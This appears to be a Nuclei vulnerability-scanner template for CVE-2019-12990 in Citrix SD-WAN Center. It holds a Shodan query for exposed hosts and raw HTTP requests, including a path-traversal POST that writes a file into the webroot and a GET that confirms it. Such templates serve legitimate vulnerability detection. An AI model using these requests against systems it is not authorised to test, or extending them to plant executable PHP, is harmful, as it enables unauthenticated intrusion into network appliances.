49 lines
1.9 KiB
YAML
49 lines
1.9 KiB
YAML
id: CVE-2019-12990
|
|
|
|
info:
|
|
name: Citrix SD-WAN Center - Local File Inclusion
|
|
author: gy741
|
|
severity: critical
|
|
description: |
|
|
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2019-31
|
|
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-12990
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
shodan-query: http.title:"Citrix SD-WAN"
|
|
tags: cve,cve2019,citrix,rce,unauth,tenable
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
|
|
|
|
- |
|
|
GET /talari/app/files/{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(all_headers, "text/html")'
|
|
- 'status_code_3 == 200'
|
|
- 'contains(body_1, "<title>Citrix SD-WAN</title>")'
|
|
condition: and
|
|
|
|
# Enhanced by md on 2023/04/12
|